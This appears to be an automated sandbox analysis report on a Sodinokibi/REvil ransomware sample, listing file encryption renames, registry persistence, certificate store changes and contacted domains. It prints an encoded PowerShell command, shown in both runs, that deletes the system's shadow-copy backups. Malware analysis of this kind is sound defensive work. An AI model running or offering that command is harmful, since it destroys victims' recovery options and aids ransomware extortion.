Analysis Overview
SHA256
22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3
Threat Level: Known bad
The file 22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3 was found to be: Known bad.
Malicious Activity Summary
Sodinokibi family
Sodin,Sodinokibi,REvil
Modifies extensions of user files
Adds Run key to start application
Enumerates connected drives
Drops file in System32 directory
Sets desktop wallpaper using registry
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies system certificate store
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-30 07:56
Signatures
Sodinokibi family
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-30 07:56
Reported
2022-01-30 13:10
Platform
win7-en-20211208
Max time kernel
151s
Max time network
162s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\SelectAdd.png => \??\c:\users\admin\pictures\SelectAdd.png.49sbjcp | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\UnlockPop.png => \??\c:\users\admin\pictures\UnlockPop.png.49sbjcp | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\WriteConvertFrom.raw => \??\c:\users\admin\pictures\WriteConvertFrom.raw.49sbjcp | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InvokeClear.crw => \??\c:\users\admin\pictures\InvokeClear.crw.49sbjcp | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\ResolveConvertFrom.tiff | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ResolveConvertFrom.tiff => \??\c:\users\admin\pictures\ResolveConvertFrom.tiff.49sbjcp | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\mjOObKp0yy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe" | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Enumerates connected drives
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\CatRoot2\dberr.txt | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d786o60.bmp" | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Drops file in Program Files directory
Modifies system certificate store
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1612 wrote to memory of 684 | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1612 wrote to memory of 684 | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1612 wrote to memory of 684 | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1612 wrote to memory of 684 | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe
"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | accountancywijchen.nl | udp |
| NL | 92.63.163.115:443 | accountancywijchen.nl | tcp |
| NL | 92.63.163.115:443 | accountancywijchen.nl | tcp |
| US | 8.8.8.8:53 | heidelbergartstudio.gallery | udp |
| US | 8.8.8.8:53 | psc.de | udp |
| DE | 87.237.121.148:443 | psc.de | tcp |
| US | 8.8.8.8:53 | plantag.de | udp |
| DE | 217.160.0.197:443 | plantag.de | tcp |
| DE | 217.160.0.197:443 | plantag.de | tcp |
| US | 8.8.8.8:53 | devok.info | udp |
| US | 188.114.97.0:443 | devok.info | tcp |
| US | 8.8.8.8:53 | bunburyfreightservices.com.au | udp |
| US | 104.155.155.40:443 | bunburyfreightservices.com.au | tcp |
| US | 104.155.155.40:443 | bunburyfreightservices.com.au | tcp |
| US | 8.8.8.8:53 | alysonhoward.com | udp |
| US | 172.67.195.179:443 | alysonhoward.com | tcp |
| US | 8.8.8.8:53 | innote.fi | udp |
| DE | 52.59.120.70:443 | innote.fi | tcp |
| DE | 52.59.120.70:443 | innote.fi | tcp |
| US | 8.8.8.8:53 | candyhouseusa.com | udp |
| DE | 85.214.77.144:443 | candyhouseusa.com | tcp |
| US | 8.8.8.8:53 | musictreehouse.net | udp |
| US | 8.8.8.8:53 | abogadosadomicilio.es | udp |
| DE | 139.162.169.6:443 | abogadosadomicilio.es | tcp |
| US | 8.8.8.8:53 | 1kbk.com.ua | udp |
| UA | 185.68.16.39:443 | 1kbk.com.ua | tcp |
| US | 8.8.8.8:53 | waermetauscher-berechnen.de | udp |
| DE | 92.204.37.106:443 | waermetauscher-berechnen.de | tcp |
| DE | 92.204.37.106:443 | waermetauscher-berechnen.de | tcp |
| US | 8.8.8.8:53 | firstpaymentservices.com | udp |
| US | 144.202.62.148:443 | firstpaymentservices.com | tcp |
| US | 144.202.62.148:443 | firstpaymentservices.com | tcp |
| US | 8.8.8.8:53 | evangelische-pfarrgemeinde-tuniberg.de | udp |
| DE | 85.214.240.85:443 | evangelische-pfarrgemeinde-tuniberg.de | tcp |
| US | 8.8.8.8:53 | brandl-blumen.de | udp |
| DE | 176.9.139.29:443 | brandl-blumen.de | tcp |
| US | 8.8.8.8:53 | tandartspraktijkhartjegroningen.nl | udp |
| NL | 185.78.250.157:443 | tandartspraktijkhartjegroningen.nl | tcp |
| US | 8.8.8.8:53 | wurmpower.at | udp |
| FR | 62.75.155.70:443 | wurmpower.at | tcp |
| US | 8.8.8.8:53 | www.wurmpower.at | udp |
| FR | 62.75.155.70:443 | www.wurmpower.at | tcp |
| US | 8.8.8.8:53 | tomaso.gr | udp |
| GB | 77.68.4.74:443 | tomaso.gr | tcp |
| US | 8.8.8.8:53 | ra-staudte.de | udp |
| FR | 185.21.102.213:443 | ra-staudte.de | tcp |
| FR | 185.21.102.213:443 | ra-staudte.de | tcp |
| US | 8.8.8.8:53 | crediacces.com | udp |
| DE | 217.160.0.85:443 | crediacces.com | tcp |
| DE | 217.160.0.85:443 | crediacces.com | tcp |
| US | 8.8.8.8:53 | rumahminangberdaya.com | udp |
| US | 8.8.8.8:53 | vyhino-zhulebino-24.ru | udp |
| US | 8.8.8.8:53 | bestbet.com | udp |
| US | 188.114.96.0:443 | bestbet.com | tcp |
| US | 8.8.8.8:53 | ino-professional.ru | udp |
| RU | 77.74.185.33:443 | ino-professional.ru | tcp |
| RU | 77.74.185.33:443 | ino-professional.ru | tcp |
| US | 8.8.8.8:53 | bouquet-de-roses.com | udp |
| FR | 188.165.53.185:443 | bouquet-de-roses.com | tcp |
| US | 8.8.8.8:53 | ianaswanson.com | udp |
| US | 67.20.70.156:443 | ianaswanson.com | tcp |
| US | 67.20.70.156:443 | ianaswanson.com | tcp |
| US | 8.8.8.8:53 | better.town | udp |
| US | 8.8.8.8:53 | bodyfulls.com | udp |
| US | 54.161.222.85:443 | bodyfulls.com | tcp |
| US | 34.205.242.146:443 | bodyfulls.com | tcp |
| US | 8.8.8.8:53 | yourobgyn.net | udp |
| US | 67.20.116.68:443 | yourobgyn.net | tcp |
| US | 67.20.116.68:443 | yourobgyn.net | tcp |
| US | 8.8.8.8:53 | starsarecircular.org | udp |
| US | 185.230.63.107:443 | starsarecircular.org | tcp |
| US | 185.230.63.107:443 | starsarecircular.org | tcp |
| US | 8.8.8.8:53 | christinarebuffetcourses.com | udp |
| N/A | 35.242.240.46:443 | tcp | |
| N/A | 35.242.240.46:443 | tcp | |
| US | 8.8.8.8:53 | udp | |
| N/A | 96.125.178.140:443 | tcp |
Files
memory/1612-55-0x0000000076921000-0x0000000076923000-memory.dmp
memory/684-56-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp
memory/684-58-0x00000000025A0000-0x00000000025A2000-memory.dmp
memory/684-59-0x00000000025A2000-0x00000000025A4000-memory.dmp
memory/684-60-0x00000000025A4000-0x00000000025A7000-memory.dmp
memory/684-57-0x000007FEF3510000-0x000007FEF406D000-memory.dmp
memory/684-61-0x00000000025AB000-0x00000000025CA000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-30 07:56
Reported
2022-01-30 13:09
Platform
win10-en-20211208
Max time kernel
178s
Max time network
158s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\mjOObKp0yy = "C:\\Users\\Admin\\AppData\\Local\\Temp\\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe" | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Enumerates connected drives
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3516 wrote to memory of 3180 | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3516 wrote to memory of 3180 | N/A | C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe
"C:\Users\Admin\AppData\Local\Temp\22d91795b7fc302eac6b2ee9a582ab7de1e29028d313a1fd34ff64f8f5baa0a3.exe"
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| SE | 23.52.27.27:80 | tcp | |
| SE | 23.52.27.27:80 | tcp |
Files
memory/3180-122-0x0000025581780000-0x00000255817A2000-memory.dmp
memory/3180-123-0x0000025581450000-0x00000255815D0000-memory.dmp
memory/3180-124-0x0000025581450000-0x00000255815D0000-memory.dmp
memory/3180-127-0x0000025599A50000-0x0000025599AC6000-memory.dmp